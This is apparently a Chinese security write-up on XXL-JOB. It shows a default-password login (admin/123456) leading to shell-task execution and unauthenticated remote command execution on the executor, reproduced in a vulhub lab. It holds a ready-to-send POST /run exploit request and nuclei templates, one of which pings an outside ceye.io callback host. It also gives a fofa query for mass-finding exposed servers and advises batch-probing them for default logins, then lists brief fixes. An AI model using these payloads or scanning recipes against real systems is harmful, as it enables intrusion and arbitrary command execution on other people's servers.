0x01 漏洞描述

XXL-JOB是一个分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。XXL-JOB分为admin和executor两端，前者为后台管理页面，后者是任务执行的客户端。executor默认没有配置认证，未授权的攻击者可以通过RESTful API执行任意命令。
XXL-JOB<=2.1.2，需要利用Hessian触发：https://github.com/OneSourceCat/XxlJob-Hessian-RCE
XXL-JOB>=2.2.0，支持RESTFUL API，直接打公开的POC过去即可。

0x02 漏洞复现

使用vulhub的2.2.0版本的XXL-JOB环境，访问http://your-ip:8080即可查看到管理端（admin），访问http://your-ip:9999 可以查看到客户端（executor）。除了executor没有配置认证以外，管理端也可能存在默认口令的问题：admin/123456
访问8080端口为404：
image.png

管理端（admin）默认口令RCE

访问/xxl-job-admin/为管理端登录地址，输入默认口令admin/123456进行登录：
image.png
登录后任务管理-新增，运行模式选择GLUE(Shell)，其它选项符合规则即可。image.png
image.png
image.png
image.png
image.png
image.png

执行端（executor）未配置认证

访问executor端：
image.png
向客户端（executor）发送如下数据包，即可执行命令:

  1. POST /run HTTP/1.1
  2. Host: your-ip:9999
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 365
  11. {
  12. "jobId": 1,
  13. "executorHandler": "demoJobHandler",
  14. "executorParams": "demoJobHandler",
  15. "executorBlockStrategy": "COVER_EARLY",
  16. "executorTimeout": 0,
  17. "logId": 1,
  18. "logDateTime": 1586629003729,
  19. "glueType": "GLUE_SHELL",
  20. "glueSource": "touch /tmp/success",
  21. "glueUpdatetime": 1586699003758,
  22. "broadcastIndex": 0,
  23. "broadcastTotal": 0
  24. }

image.png
image.png
RESTful API参数说明：

  1. 说明：触发任务执行
  3. ------
  5. 地址格式：{执行器内嵌服务跟地址}/run
  7. Header：
  8. XXL-JOB-ACCESS-TOKEN : {请求令牌}
  10. 请求数据格式如下，放置在 RequestBody 中，JSON格式：
  11. {
  12. "jobId":1,                                  // 任务ID
  13. "executorHandler":"demoJobHandler",         // 任务标识
  14. "executorParams":"demoJobHandler",          // 任务参数
  15. "executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略，可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
  16. "executorTimeout":0,                        // 任务超时时间，单位秒，大于零时生效
  17. "logId":1,                                  // 本次调度日志ID
  18. "logDateTime":1586629003729,                // 本次调度日志时间
  19. "glueType":"BEAN",                          // 任务模式，可选值参考 com.xxl.job.core.glue.GlueTypeEnum
  20. "glueSource":"xxx",                         // GLUE脚本代码
  21. "glueUpdatetime":1586629003727,             // GLUE脚本更新时间，用于判定脚本是否变更以及是否需要刷新
  22. "broadcastIndex":0,                         // 分片参数：当前分片
  23. "broadcastTotal":0                          // 分片参数：总分片
  24. }
  26. 响应数据格式：
  27. {
  28. "code": 200,      // 200 表示正常、其他失败
  29. "msg": null       // 错误提示消息
  30.     }

其中glueType还可以指定执行其它类型的脚本：

  1. BEAN("BEAN", false, null, null),
  2. GLUE_GROOVY("GLUE(Java)", false, null, null),
  3. GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
  4. GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
  5. GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
  6. GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
  7. GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

0x03 漏洞发现

端口特征：8080，9999
响应包特征：{“code”:500,”msg”:”invalid request, HttpMethod not support.”}
管理端默认口令nuclei模板：

  1. id: xxljob-default-login
  3. info:
  4.   name: XXL-JOB Default Login
  5.   author: pdteam
  6.   severity: high
  7.   tags: default-login,xxljob
  8.   description: XXL-JOB default admin credentials were discovered.
  9.   reference:
  10.     - https://github.com/xuxueli/xxl-job
  11.   classification:
  12.     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
  13.     cvss-score: 8.3
  14.     cve-id:
  15.     cwe-id: CWE-522
  17. requests:
  18.   - raw:
  19.       - |
  20.         POST /xxl-job-admin/login HTTP/1.1
  21.         Host:{{Hostname}}
  22.         Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  23.         userName={{username}}&password={{password}}
  24.     payloads:
  25.       username:
  26.         - admin
  27.       password:
  28.         - 123456
  29.     attack: pitchfork
  31.     matchers-condition: and
  32.     matchers:
  33.       - type: word
  34.         words:
  35.           - '"code":200'
  36.           - '"msg"'
  37.           - '"content"'
  38.         condition: and
  40.       - type: word
  41.         words:
  42.           - 'application/json'
  43.           - 'XXL_JOB_LOGIN_IDENTITY'
  44.         part: header
  45.         condition: and
  47.       - type: status
  48.         status:
  49.           - 200
  51. # Enhanced by mp on 2022/03/14

执行端未配置认证nuclei模板，在参数部分填写自己cyey.io地址辅助参考：

  1. id: xxl-job-executor-unauthorized-access
  3. info:
  4.   name: XXL JOB Executor Unauthorized Access
  5.   author: kemoon
  6.   severity: critical
  7.   description: XXL JOB Executor unauthorized access vulnerability
  8.   tags: xxljob,unauthorized
  9.   reference:
  10.     - https://landgrey.me/blog/18/
  12. requests:
  13.   - raw:
  14.       - |
  15.         POST /run HTTP/1.1
  16.         Host: {{Hostname}}
  17.         Accept: application/json
  18.         content-type: application/json
  20.         {"jobId":1,"executorHandler":"demoJobHandler","executorParams":"demoJobHandler","executorBlockStrategy":"COVER_EARLY","executorTimeout":0,"logId": 1,"logDateTime":1586629003729,"glueType":"GLUE_SHELL","glueSource":"ping {{Host}}.t5s8b8.ceye.io","glueUpdatetime":1586699003758,"broadcastIndex":0,"broadcastTotal":0}
  22.     matchers-condition: and
  23.     matchers:
  24.       - type: status
  25.         status:
  26.           - 200
  28.       - type: word
  29.         part: body
  30.         words:
  31.           - "200"

fofa语法：port=”9999” && body=”HttpMethod not support” && country=”CN”
image.png
image.png
将端口9999批量替换为8080，探测默认口令：
image.png

0x04 修复建议

  1. 修复弱口令
  2. 任务调度限制内网访问